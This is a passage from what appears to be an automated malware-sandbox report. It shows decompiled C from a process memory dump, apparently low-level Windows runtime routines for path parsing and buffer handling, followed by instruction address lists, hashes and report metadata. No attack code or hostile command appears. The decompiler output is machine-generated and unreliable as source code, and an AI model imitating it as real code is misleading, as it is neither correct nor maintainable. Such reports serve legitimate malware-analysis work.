											_t447 = _t446 & _t313;
											__eflags = _t447;
											 *(_t528 - 0xd4) = _t447;
											if(_t447 != 0) {
												_t406 = 0x10;
												_t511 = _t511 + _t406;
												__eflags = _t511;
											}
											_t494 = ( *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) << 4) +  *((intOrPtr*)(_t528 - 0xc4));
											 *(_t528 - 0x88) = _t427;
											__eflags =  *(_t528 + 0x1c);
											if( *(_t528 + 0x1c) <= 0) {
												L45:
												__eflags =  *(_t528 - 0xb0);
												if( *(_t528 - 0xb0) != 0) {
													_t511 = _t511 + (( *(_t528 - 0x90) & 0x0000ffff) + 0x0000000f & 0xfffffff8);
													__eflags = _t511;
												}
												__eflags = _t475;
												if(_t475 != 0) {
													asm("lock dec dword [ecx+edx*8+0x4]");
													goto L100;
												} else {
													_t494[3] = _t511;
													_t451 =  *(_t528 - 0xa0);
													_t427 = E00D86DE6(_t451, _t511,  *( *[fs:0x18] + 0xf77) & 0x000000ff, _t528 - 0xe0, _t528 - 0xbc);
													 *(_t528 - 0x88) = _t427;
													__eflags = _t427;
													if(_t427 == 0) {
														__eflags = _t511 - 0xfff8;
														if(_t511 <= 0xfff8) {
															__eflags =  *((intOrPtr*)( *(_t528 - 0xa0) + 0x90)) - _t511;
															asm("sbb ecx, ecx");
															__eflags = (_t451 & 0x000000e2) + 8;
														}
														asm("lock dec dword [eax+edx*8+0x4]");
														L100:
														goto L101;
													}
													_t453 =  *(_t528 - 0xa0);
													 *_t494 = _t453;
													_t494[1] = _t427;
													_t494[2] =  *(_t528 - 0xbc);
													 *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) =  *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) + 1;
													 *_t427 =  *(_t453 + 0x24) | _t511;
													 *(_t427 + 4) =  *((intOrPtr*)(_t528 + 0x10));
													 *((short*)(_t427 + 6)) =  *((intOrPtr*)(_t528 + 8));
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x14);
													if( *(_t528 + 0x14) == 0) {
														__eflags =  *[fs:0x18] + 0xf50;
													}
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x18);
													if( *(_t528 + 0x18) == 0) {
														_t454 =  *(_t528 - 0x80);
														_t479 =  *(_t528 - 0x78);
														_t327 = 1;
														__eflags = 1;
													} else {
														_t146 = _t427 + 0x50; // 0x50
														_t454 = _t146;
														 *(_t528 - 0x80) = _t454;
														_t382 = 0x18;
														 *_t454 = _t382;
														 *((short*)(_t454 + 2)) = 1;
														_t385 = 0x10;
														 *((short*)(_t454 + 6)) = _t385;
														 *(_t454 + 4) = 0;
														asm("movsd");
														asm("movsd");
														asm("movsd");
														asm("movsd");
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = 0x68;
														 *(_t528 - 0x78) = _t479;
													}
													__eflags =  *(_t528 - 0x79) - _t327;
													if( *(_t528 - 0x79) == _t327) {
														_t524 = _t479 + _t427;
														_t508 =  *(_t528 - 0x8c);
														 *_t524 = _t508;
														_t373 = 2;
														 *((short*)(_t524 + 2)) = _t373;
														 *((short*)(_t524 + 6)) =  *(_t528 - 0x98);
														 *((short*)(_t524 + 4)) = 0;
														_t167 = _t524 + 8; // 0x8
														E00D8F3E0(_t167, _t528 - 0x68,  *(_t528 - 0x98));
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + (_t508 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t380 =  *(_t528 - 0x80);
														__eflags = _t380;
														if(_t380 != 0) {
															_t173 = _t380 + 4;
															 *_t173 =  *(_t380 + 4) | 1;
															__eflags =  *_t173;
														}
														_t454 = _t524;
														 *(_t528 - 0x80) = _t454;
														_t327 = 1;
														__eflags = 1;
													}
													__eflags =  *(_t528 - 0xd4);
													if( *(_t528 - 0xd4) == 0) {
														_t505 =  *(_t528 - 0x80);
													} else {
														_t505 = _t479 + _t427;
														_t523 = 0x10;
														 *_t505 = _t523;
														_t367 = 3;
														 *((short*)(_t505 + 2)) = _t367;
														_t368 = 4;
														 *((short*)(_t505 + 6)) = _t368;
														 *(_t505 + 4) = 0;
														 *((intOrPtr*)(_t505 + 8)) =  *((intOrPtr*)( *[fs:0x30] + 0x1d4));
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = _t479 + _t523;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t454;
														if(_t454 != 0) {
															_t186 = _t454 + 4;
															 *_t186 =  *(_t454 + 4) | 1;
															__eflags =  *_t186;
														}
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0x7a) - _t327;
													if( *(_t528 - 0x7a) == _t327) {
														 *(_t528 - 0xd4) = _t479 + _t427;
														_t522 =  *(_t528 - 0x84) & 0x0000ffff;
														E00D8F3E0(_t479 + _t427,  *(_t528 - 0x9c), _t522);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + _t522;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t199 = _t505 + 4;
															 *_t199 =  *(_t505 + 4) | 1;
															__eflags =  *_t199;
														}
														_t505 =  *(_t528 - 0xd4);
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0xa8);
													if( *(_t528 - 0xa8) != 0) {
														_t356 = _t479 + _t427;
														 *(_t528 - 0xd4) = _t356;
														_t462 =  *(_t528 - 0xac);
														 *_t356 = _t462 + 0x0000000f & 0x0000fff8;
														_t485 = 0xc;
														 *((short*)(_t356 + 2)) = _t485;
														 *(_t356 + 6) = _t462;
														 *((short*)(_t356 + 4)) = 0;
														_t211 = _t356 + 8; // 0x9
														E00D8F3E0(_t211,  *(_t528 - 0xa8), _t462 & 0x0000ffff);
														E00D8FA60((_t462 & 0x0000ffff) + _t211, 0, (_t462 + 0x0000000f & 0x0000fff8) -  *(_t528 - 0xac) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0x18;
														_t427 =  *(_t528 - 0x88);
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t505 =  *(_t528 - 0xd4);
														_t479 =  *(_t528 - 0x78) + ( *_t505 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t362 =  *(_t528 - 0x80);
														__eflags = _t362;
														if(_t362 != 0) {
															_t222 = _t362 + 4;
															 *_t222 =  *(_t362 + 4) | 1;
															__eflags =  *_t222;
														}
													}
													__eflags =  *(_t528 - 0xb0);
													if( *(_t528 - 0xb0) != 0) {
														 *(_t479 + _t427) =  *(_t528 - 0x90) + 0x0000000f & 0x0000fff8;
														_t458 = 0xb;
														 *((short*)(_t479 + _t427 + 2)) = _t458;
														 *((short*)(_t479 + _t427 + 6)) =  *(_t528 - 0x90);
														 *((short*)(_t427 + 4 + _t479)) = 0;
														 *(_t528 - 0xb8) = _t479 + 8 + _t427;
														E00D8FA60(( *(_t528 - 0x90) & 0x0000ffff) + _t479 + 8 + _t427, 0, ( *(_t528 - 0x90) + 0x0000000f & 0x0000fff8) -  *(_t528 - 0x90) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + ( *( *(_t528 - 0x78) + _t427) & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t241 = _t505 + 4;
															 *_t241 =  *(_t505 + 4) | 1;
															__eflags =  *_t241;
														}
													}
													_t328 =  *(_t528 + 0x1c);
													__eflags = _t328;
													if(_t328 == 0) {
														L87:
														_t329 =  *((intOrPtr*)(_t528 - 0xe0));
														 *((intOrPtr*)(_t427 + 0x10)) = _t329;
														_t455 =  *(_t528 - 0xdc);
														 *(_t427 + 0x14) = _t455;
														_t480 =  *(_t528 - 0xa0);
														_t517 = 3;
														__eflags =  *((intOrPtr*)(_t480 + 0x10)) - _t517;
														if( *((intOrPtr*)(_t480 + 0x10)) != _t517) {
															asm("rdtsc");
															 *(_t427 + 0x3c) = _t480;
														} else {
															 *(_t427 + 0x3c) = _t455;
														}
														 *((intOrPtr*)(_t427 + 0x38)) = _t329;
														_t456 =  *[fs:0x18];
														 *((intOrPtr*)(_t427 + 8)) =  *((intOrPtr*)(_t456 + 0x24));
														 *((intOrPtr*)(_t427 + 0xc)) =  *((intOrPtr*)(_t456 + 0x20));
														_t427 = 0;
														__eflags = 0;
														_t511 = 0x18;
														goto L91;
													} else {
														_t519 =  *((intOrPtr*)(_t528 - 0xc8)) + 0xc;
														__eflags = _t519;
														 *(_t528 - 0x8c) = _t328;
														do {
															_t506 =  *((intOrPtr*)(_t519 - 4));
															_t457 =  *((intOrPtr*)(_t519 - 0xc));
															 *(_t528 - 0xd4) =  *(_t519 - 8);
															_t333 =  *((intOrPtr*)(_t528 - 0xb4));
															__eflags =  *(_t333 + 0x36) & 0x00004000;
															if(( *(_t333 + 0x36) & 0x00004000) != 0) {
																_t334 =  *_t519;
															} else {
																_t334 = 0;
															}
															_t336 = _t334 & 0x000000ff;
															__eflags = _t336;
															_t427 =  *(_t528 - 0x88);
															if(_t336 == 0) {
																_t481 = _t479 + _t506;
																__eflags = _t481;
																 *(_t528 - 0x78) = _t481;
																E00D8F3E0(_t479 + _t427, _t457, _t506);
																_t529 = _t529 + 0xc;
															} else {
																_t340 = _t336 - 1;
																__eflags = _t340;
																if(_t340 == 0) {
																	E00D8F3E0( *(_t528 - 0xb8), _t457, _t506);
																	_t529 = _t529 + 0xc;
																	 *(_t528 - 0xb8) =  *(_t528 - 0xb8) + _t506;
																} else {
																	__eflags = _t340 == 0;
																	if(_t340 == 0) {
																		__eflags = _t506 - 8;
																		if(_t506 == 8) {
																			 *((intOrPtr*)(_t528 - 0xe0)) =  *_t457;
																			 *(_t528 - 0xdc) =  *(_t457 + 4);
																		}
																	}
																}
															}
															_t339 = 0x10;
															_t519 = _t519 + _t339;
															_t263 = _t528 - 0x8c;
															 *_t263 =  *(_t528 - 0x8c) - 1;
															__eflags =  *_t263;
															_t479 =  *(_t528 - 0x78);
														} while ( *_t263 != 0);
														goto L87;
													}
												}
											} else {
												_t392 =  *( *((intOrPtr*)(_t528 - 0xb4)) + 0x36) & 0x00004000;
												 *(_t528 - 0xa2) = _t392;
												_t469 =  *((intOrPtr*)(_t528 - 0xc8)) + 8;
												__eflags = _t469;
												while(1) {
													 *(_t528 - 0xe4) = _t511;
													__eflags = _t392;
													_t393 = _t427;
													if(_t392 != 0) {
														_t393 =  *((intOrPtr*)(_t469 + 4));
													}
													_t395 = (_t393 & 0x000000ff) - _t427;
													__eflags = _t395;
													if(_t395 == 0) {
														_t511 = _t511 +  *_t469;
														__eflags = _t511;
													} else {
														_t398 = _t395 - 1;
														__eflags = _t398;
														if(_t398 == 0) {
															 *(_t528 - 0x90) =  *(_t528 - 0x90) +  *_t469;
															 *(_t528 - 0xb0) =  *(_t528 - 0xb0) + 1;
														} else {
															__eflags = _t398 == 1;
															if(_t398 == 1) {
																 *(_t528 - 0xa8) =  *(_t469 - 8);
																_t402 =  *_t469 & 0x0000ffff;
																 *(_t528 - 0xac) = _t402;
																_t511 = _t511 + ((_t402 & 0x0000ffff) + 0x0000000f & 0xfffffff8);
															}
														}
													}
													__eflags = _t511 -  *(_t528 - 0xe4);
													if(_t511 <  *(_t528 - 0xe4)) {
														break;
													}
													_t397 =  *(_t528 - 0x88) + 1;
													 *(_t528 - 0x88) = _t397;
													_t469 = _t469 + 0x10;
													__eflags = _t397 -  *(_t528 + 0x1c);
													_t392 =  *(_t528 - 0xa2);
													if(_t397 <  *(_t528 + 0x1c)) {
														continue;
													}
													goto L45;
												}
												_t475 = 0x216;
												 *(_t528 - 0x74) = 0x216;
												goto L45;
											}
										} else {
											asm("lock dec dword [eax+ecx*8+0x4]");
											goto L16;
										}
									}
									_t491 = E00E14CAB(_t306, _t528 - 0xa4);
									 *(_t528 - 0x74) = _t491;
									__eflags = _t491;
									if(_t491 != 0) {
										goto L91;
									} else {
										_t474 =  *((intOrPtr*)(_t528 - 0x94));
										goto L20;
									}
								}
								L16:
								 *(_t528 - 0x74) = 0x1069;
								L93:
								_t298 =  *(_t528 - 0xd0) + 1;
								 *(_t528 - 0xd0) = _t298;
								_t474 = _t474 + _t511;
								 *((intOrPtr*)(_t528 - 0x94)) = _t474;
								_t494 = 4;
								__eflags = _t298 - _t494;
								if(_t298 >= _t494) {
									goto L100;
								}
								_t494 =  *(_t528 - 0xcc);
								_t435 = _t298;
								continue;
							}
							__eflags = _t494[2] | _t494[3];
							if((_t494[2] | _t494[3]) == 0) {
								goto L15;
							}
							goto L12;
						}
						__eflags = _t301;
						if(_t301 != 0) {
							goto L92;
						}
						goto L10;
						L92:
						goto L93;
					}
				} else {
					_push(0x57);
					L101:
					return E00D9D130(_t427, _t494, _t511);
				}
			}

0x00e15ba5
0x00e15baa
0x00e15baf
0x00e15bb4
0x00e15bb6
0x00e15bbc
0x00e15bbe
0x00e15bc4
0x00e15bcd
0x00e15bd3
0x00e15bd6
0x00e15bdc
0x00e15be0
0x00e15be3
0x00e15beb
0x00e15bf2
0x00e15bf8
0x00e15bfe
0x00e15c04
0x00e15c0e
0x00e15c18
0x00e15c1f
0x00e15c25
0x00e15c2a
0x00e15c2c
0x00e15c32
0x00e15c3a
0x00e15c3f
0x00e15c42
0x00e15c48
0x00e15c5b
0x00e15c5b
0x00e15c2c
0x00e15cb7
0x00e15cb9
0x00e15cbf
0x00e15cc2
0x00e15cca
0x00e15ccb
0x00e15ccb
0x00e15cd1
0x00e15cd7
0x00e15cda
0x00e15ce1
0x00e15ce4
0x00e15ce7
0x00e15ced
0x00e15cf3
0x00e15cf9
0x00e15cff
0x00e15d08
0x00e15d0a
0x00e15d0e
0x00e15d10
0x00000000
0x00000000
0x00e15d16
0x00e15d1a
0x00000000
0x00000000
0x00e15d20
0x00e15d22
0x00e15d25
0x00e15d2f
0x00e15d2f
0x00e15d33
0x00e15d3d
0x00e15d49
0x00e15d4b
0x00000000
0x00000000
0x00e15d5a
0x00e15d5d
0x00e15d60
0x00000000
0x00000000
0x00e15d66
0x00e15d69
0x00000000
0x00000000
0x00e15d6f
0x00e15d6f
0x00e15d73
0x00e15d79
0x00e15d7f
0x00e15d86
0x00e15d95
0x00e15d98
0x00e15dba
0x00e15dcb
0x00e15dce
0x00e15dd3
0x00e15dd6
0x00e15dd8
0x00e15de6
0x00e15dec
0x00e15dee
0x00e15df1
0x00e15df3
0x00e1635a
0x00e1635a
0x00000000
0x00e1635a
0x00e15dfe
0x00e15e02
0x00e15e05
0x00e15e07
0x00e15e10
0x00e15e13
0x00e15e1b
0x00e15e1c
0x00e15e21
0x00e15e22
0x00e15e23
0x00e15e25
0x00e15e2a
0x00e15e2c
0x00e15e2e
0x00e15e36
0x00e15e39
0x00e15e42
0x00e15e47
0x00e15e4d
0x00e15e54
0x00e15e54
0x00e15e54
0x00e15e2e
0x00e15e5c
0x00e15e5f
0x00e15e62
0x00e15e64
0x00e15e6b
0x00e15e70
0x00e15e7a
0x00e15e7a
0x00e15e7a
0x00e15e6b
0x00e15e7e
0x00e15e7f
0x00e15e7f
0x00e15e81
0x00e15e87
0x00e15e8b
0x00e15e8c
0x00e15e8c
0x00e15e8c
0x00e15e9a
0x00e15e9c
0x00e15ea2
0x00e15ea6
0x00e15f50
0x00e15f50
0x00e15f57
0x00e15f66
0x00e15f66
0x00e15f66
0x00e15f68
0x00e15f6a
0x00e163d0
0x00000000
0x00e15f70
0x00e15f70
0x00e15f91
0x00e15f9c
0x00e15f9e
0x00e15fa4
0x00e15fa6
0x00e1638c
0x00e16392
0x00e163a1
0x00e163a7
0x00e163af
0x00e163af
0x00e163bd
0x00e163d8
0x00000000
0x00e163d8
0x00e15fac
0x00e15fb2
0x00e15fb4
0x00e15fbd
0x00e15fc6
0x00e15fce
0x00e15fd4
0x00e15fdc
0x00e15fec
0x00e15fed
0x00e15fee
0x00e15fef
0x00e15ff9
0x00e15ffa
0x00e15ffb
0x00e15ffc
0x00e16000
0x00e16004
0x00e16012
0x00e16012
0x00e16018
0x00e16019
0x00e1601a
0x00e1601b
0x00e1601c
0x00e16020
0x00e16059
0x00e1605c
0x00e16061
0x00e16061
0x00e16022
0x00e16022
0x00e16022
0x00e16025
0x00e1602a
0x00e1602b
0x00e16031
0x00e16037
0x00e16038
0x00e1603e
0x00e16048
0x00e16049
0x00e1604a
0x00e1604b
0x00e1604c
0x00e1604d
0x00e16053
0x00e16054
0x00e16054
0x00e16062
0x00e16065
0x00e16067
0x00e1606a
0x00e16070
0x00e16075
0x00e16076
0x00e16081
0x00e16087
0x00e16095
0x00e16099
0x00e1609e
0x00e160a4
0x00e160ae
0x00e160b0
0x00e160b3
0x00e160b6
0x00e160b8
0x00e160ba
0x00e160ba
0x00e160ba
0x00e160ba
0x00e160be
0x00e160c0
0x00e160c5
0x00e160c5
0x00e160c5
0x00e160c6
0x00e160cd
0x00e16114
0x00e160cf
0x00e160cf
0x00e160d4
0x00e160d5
0x00e160da
0x00e160db
0x00e160e1
0x00e160e2
0x00e160e8
0x00e160f8
0x00e160fd
0x00e160fe
0x00e16102
0x00e16104
0x00e16107
0x00e16109
0x00e1610b
0x00e1610b
0x00e1610b
0x00e1610b
0x00e1610f
0x00e1610f
0x00e16117
0x00e1611a
0x00e1611f
0x00e16125
0x00e16134
0x00e16139
0x00e1613f
0x00e16146
0x00e16148
0x00e1614b
0x00e1614d
0x00e1614f
0x00e1614f
0x00e1614f
0x00e1614f
0x00e16153
0x00e16159
0x00e16159
0x00e1615c
0x00e16163
0x00e16169
0x00e1616c
0x00e16172
0x00e16181
0x00e16186
0x00e16187
0x00e1618b
0x00e16191
0x00e16195
0x00e161a3
0x00e161bb
0x00e161c0
0x00e161c3
0x00e161cc
0x00e161d0
0x00e161dc
0x00e161de
0x00e161e1
0x00e161e4
0x00e161e6
0x00e161e8
0x00e161e8
0x00e161e8
0x00e161e8
0x00e161e6
0x00e161ec
0x00e161f3
0x00e16203
0x00e16209
0x00e1620a
0x00e16216
0x00e1621d
0x00e16227
0x00e16241
0x00e16246
0x00e1624c
0x00e16257
0x00e16259
0x00e1625c
0x00e1625e
0x00e16260
0x00e16260
0x00e16260
0x00e16260
0x00e1625e
0x00e16264
0x00e16267
0x00e16269
0x00e16315
0x00e16315
0x00e1631b
0x00e1631e
0x00e16324
0x00e16327
0x00e1632f
0x00e16330
0x00e16333
0x00e1633a
0x00e1633c
0x00e16335
0x00e16335
0x00e16335
0x00e1633f
0x00e16342
0x00e1634c
0x00e16352
0x00e16355
0x00e16355
0x00e16359
0x00000000
0x00e1626f
0x00e16275
0x00e16275
0x00e16278
0x00e1627e
0x00e1627e
0x00e16281
0x00e16287
0x00e1628d
0x00e16298
0x00e1629c
0x00e162a2
0x00e1629e
0x00e1629e
0x00e1629e
0x00e162a7
0x00e162a7
0x00e162aa
0x00e162b0
0x00e162f0
0x00e162f0
0x00e162f2
0x00e162f8
0x00e162fd
0x00e162b2
0x00e162b2
0x00e162b2
0x00e162b5
0x00e162dd
0x00e162e2
0x00e162e5
0x00e162b7
0x00e162b8
0x00e162bb
0x00e162bd
0x00e162c0
0x00e162c4
0x00e162cd
0x00e162cd
0x00e162c0
0x00e162bb
0x00e162b5
0x00e16302
0x00e16303
0x00e16305
0x00e16305
0x00e16305
0x00e1630c
0x00e1630c
0x00000000
0x00e1627e
0x00e16269
0x00e15eac
0x00e15ebb
0x00e15ebe
0x00e15ecb
0x00e15ecb
0x00e15ece
0x00e15ece
0x00e15ed4
0x00e15ed7
0x00e15ed9
0x00e15edb
0x00e15edb
0x00e15ee1
0x00e15ee1
0x00e15ee3
0x00e15f20
0x00e15f20
0x00e15ee5
0x00e15ee5
0x00e15ee5
0x00e15ee8
0x00e15f11
0x00e15f18
0x00e15eea
0x00e15eea
0x00e15eed
0x00e15ef2
0x00e15ef8
0x00e15efb
0x00e15f0a
0x00e15f0a
0x00e15eed
0x00e15ee8
0x00e15f22
0x00e15f28
0x00000000
0x00000000
0x00e15f30
0x00e15f31
0x00e15f37
0x00e15f3a
0x00e15f3d
0x00e15f44
0x00000000
0x00000000
0x00000000
0x00e15f46
0x00e15f48
0x00e15f4d
0x00000000
0x00e15f4d
0x00e15dda
0x00e15ddf
0x00000000
0x00e15ddf
0x00e15dd8
0x00e15da7
0x00e15da9
0x00e15dac
0x00e15dae
0x00000000
0x00e15db4
0x00e15db4
0x00000000
0x00e15db4
0x00e15dae
0x00e15d88
0x00e15d8d
0x00e16363
0x00e16369
0x00e1636a
0x00e16370
0x00e16372
0x00e1637a
0x00e1637b
0x00e1637d
0x00000000
0x00000000
0x00e1637f
0x00e16385
0x00000000
0x00e16385
0x00e15d38
0x00e15d3b
0x00000000
0x00000000
0x00000000
0x00e15d3b
0x00e15d27
0x00e15d29
0x00000000
0x00000000
0x00000000
0x00e16360
0x00000000
0x00e16360
0x00e15c10
0x00e15c10
0x00e163da
0x00e163e5
0x00e163e5

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6323f638fa9d29e83edd7757895b771511a620db75507fab2055ee8742f9da6
Instruction ID: dcf739b13a799ec9b9bd42758960657ffb4a01d40436143f1087bb1e3a41c8a2
Opcode Fuzzy Hash: b6323f638fa9d29e83edd7757895b771511a620db75507fab2055ee8742f9da6
Instruction Fuzzy Hash: 79424975A00629CFDB24CF68C881BE9B7B1FF89304F1481AAD95DAB242D7749AC5CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00D64120, Relevance: .4, Instructions: 444
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E00D64120(signed char __ecx, signed short* __edx, signed short* _a4, signed int _a8, signed short* _a12, signed short* _a16, signed short _a20) {
				signed int _v8;
				void* _v20;
				signed int _v24;
				char _v532;
				char _v540;
				signed short _v544;
				signed int _v548;
				signed short* _v552;
				signed short _v556;
				signed short* _v560;
				signed short* _v564;
				signed short* _v568;
				void* _v570;
				signed short* _v572;
				signed short _v576;
				signed int _v580;
				char _v581;
				void* _v584;
				unsigned int _v588;
				signed short* _v592;
				void* _v597;
				void* _v600;
				void* _v604;
				void* _v609;
				void* _v616;
				void* __ebx;
				void* __edi;
				void* __esi;
				unsigned int _t161;
				signed int _t162;
				unsigned int _t163;
				void* _t169;
				signed short _t173;
				signed short _t177;
				signed short _t181;
				unsigned int _t182;
				signed int _t185;
				signed int _t213;
				signed int _t225;
				short _t233;
				signed char _t234;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed int _t250;
				void* _t251;
				signed short* _t254;
				void* _t255;
				signed int _t256;
				void* _t257;
				signed short* _t260;
				signed short _t265;
				signed short* _t269;
				signed short _t271;
				signed short** _t272;
				signed short* _t275;
				signed short _t282;
				signed short _t283;
				signed short _t290;
				signed short _t299;
				signed short _t307;
				signed int _t308;
				signed short _t311;
				signed short* _t315;
				signed short _t316;
				void* _t317;
				void* _t319;
				signed short* _t321;
				void* _t322;
				void* _t323;
				unsigned int _t324;
				signed int _t325;
				void* _t326;
				signed int _t327;
				signed int _t329;

				_t329 = (_t327 & 0xfffffff8) - 0x24c;
				_v8 =  *0xe3d360 ^ _t329;
				_t157 = _a8;
				_t321 = _a4;
				_t315 = __edx;
				_v548 = __ecx;
				_t305 = _a20;
				_v560 = _a12;
				_t260 = _a16;
				_v564 = __edx;
				_v580 = _a8;
				_v572 = _t260;
				_v544 = _a20;
				if( *__edx <= 8) {
					L3:
					if(_t260 != 0) {
						 *_t260 = 0;
					}
					_t254 =  &_v532;
					_v588 = 0x208;
					if((_v548 & 0x00000001) != 0) {
						_v556 =  *_t315;
						_v552 = _t315[2];
						_t161 = E00D7F232( &_v556);
						_t316 = _v556;
						_v540 = _t161;
						goto L17;
					} else {
						_t306 = 0x208;
						_t298 = _t315;
						_t316 = E00D66E30(_t315, 0x208, _t254, _t260,  &_v581,  &_v540);
						if(_t316 == 0) {
							L68:
							_t322 = 0xc0000033;
							goto L39;
						} else {
							while(_v581 == 0) {
								_t233 = _v588;
								if(_t316 > _t233) {
									_t234 = _v548;
									if((_t234 & 0x00000004) != 0 || (_t234 & 0x00000008) == 0 &&  *((char*)( *[fs:0x30] + 3)) < 0) {
										_t254 = L00D64620(_t298,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t316);
										if(_t254 == 0) {
											_t169 = 0xc0000017;
										} else {
											_t298 = _v564;
											_v588 = _t316;
											_t306 = _t316;
											_t316 = E00D66E30(_v564, _t316, _t254, _v572,  &_v581,  &_v540);
											if(_t316 != 0) {
												continue;
											} else {
												goto L68;
											}
										}
									} else {
										goto L90;
									}
								} else {
									_v556 = _t316;
									 *((short*)(_t329 + 0x32)) = _t233;
									_v552 = _t254;
									if(_t316 < 2) {
										L11:
										if(_t316 < 4 ||  *_t254 == 0 || _t254[1] != 0x3a) {
											_t161 = 5;
										} else {
											if(_t316 < 6) {
												L87:
												_t161 = 3;
											} else {
												_t242 = _t254[2] & 0x0000ffff;
												if(_t242 != 0x5c) {
													if(_t242 == 0x2f) {
														goto L16;
													} else {
														goto L87;
													}
													goto L101;
												} else {
													L16:
													_t161 = 2;
												}
											}
										}
									} else {
										_t243 =  *_t254 & 0x0000ffff;
										if(_t243 == 0x5c || _t243 == 0x2f) {
											if(_t316 < 4) {
												L81:
												_t161 = 4;
												goto L17;
											} else {
												_t244 = _t254[1] & 0x0000ffff;
												if(_t244 != 0x5c) {
													if(_t244 == 0x2f) {
														goto L60;
													} else {
														goto L81;
													}
												} else {
													L60:
													if(_t316 < 6) {
														L83:
														_t161 = 1;
														goto L17;
													} else {
														_t245 = _t254[2] & 0x0000ffff;
														if(_t245 != 0x2e) {
															if(_t245 == 0x3f) {
																goto L62;
															} else {
																goto L83;
															}
														} else {
															L62:
															if(_t316 < 8) {
																L85:
																_t161 = ((0 | _t316 != 0x00000006) - 0x00000001 & 0x00000006) + 1;
																goto L17;
															} else {
																_t250 = _t254[3] & 0x0000ffff;
																if(_t250 != 0x5c) {
																	if(_t250 == 0x2f) {
																		goto L64;
																	} else {
																		goto L85;
																	}
																} else {
																	L64:
																	_t161 = 6;
																	goto L17;
																}
															}
														}
													}
												}
											}
											goto L101;
										} else {
											goto L11;
										}
									}
									L17:
									if(_t161 != 2) {
										_t162 = _t161 - 1;
										if(_t162 > 5) {
											goto L18;
										} else {
											switch( *((intOrPtr*)(_t162 * 4 +  &M00D645F8))) {
												case 0:
													_v568 = 0xd21078;
													__eax = 2;
													goto L20;
												case 1:
													goto L18;
												case 2:
													_t163 = 4;
													goto L19;
											}
										}
										goto L41;
									} else {
										L18:
										_t163 = 0;
										L19:
										_v568 = 0xd211c4;
									}
									L20:
									_v588 = _t163;
									_v564 = _t163 + _t163;
									_t306 =  *_v568 & 0x0000ffff;
									_t265 = _t306 - _v564 + 2 + (_t316 & 0x0000ffff);
									_v576 = _t265;
									if(_t265 > 0xfffe) {
										L90:
										_t322 = 0xc0000106;
									} else {
										if(_t321 != 0) {
											if(_t265 > (_t321[1] & 0x0000ffff)) {
												if(_v580 != 0) {
													goto L23;
												} else {
													_t322 = 0xc0000106;
													goto L39;
												}
											} else {
												_t177 = _t306;
												goto L25;
											}
											goto L101;
										} else {
											if(_v580 == _t321) {
												_t322 = 0xc000000d;
											} else {
												L23:
												_t173 = L00D64620(_t265,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t265);
												_t269 = _v592;
												_t269[2] = _t173;
												if(_t173 == 0) {
													_t322 = 0xc0000017;
												} else {
													_t316 = _v556;
													 *_t269 = 0;
													_t321 = _t269;
													_t269[1] = _v576;
													_t177 =  *_v568 & 0x0000ffff;
													L25:
													_v580 = _t177;
													if(_t177 == 0) {
														L29:
														_t307 =  *_t321 & 0x0000ffff;
													} else {
														_t290 =  *_t321 & 0x0000ffff;
														_v576 = _t290;
														_t310 = _t177 & 0x0000ffff;
														if((_t290 & 0x0000ffff) + (_t177 & 0x0000ffff) > (_t321[1] & 0x0000ffff)) {
															_t307 =  *_t321 & 0xffff;
														} else {
															_v576 = _t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2;
															E00D8F720(_t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2, _v568[2], _t310);
															_t329 = _t329 + 0xc;
															_t311 = _v580;
															_t225 =  *_t321 + _t311 & 0x0000ffff;
															 *_t321 = _t225;
															if(_t225 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v576 + ((_t311 & 0x0000ffff) >> 1) * 2)) = 0;
															}
															goto L29;
														}
													}
													_t271 = _v556 - _v588 + _v588;
													_v580 = _t307;
													_v576 = _t271;
													if(_t271 != 0) {
														_t308 = _t271 & 0x0000ffff;
														_v588 = _t308;
														if(_t308 + (_t307 & 0x0000ffff) <= (_t321[1] & 0x0000ffff)) {
															_v580 = _t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2;
															E00D8F720(_t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2, _v552 + _v564, _t308);
															_t329 = _t329 + 0xc;
															_t213 =  *_t321 + _v576 & 0x0000ffff;
															 *_t321 = _t213;
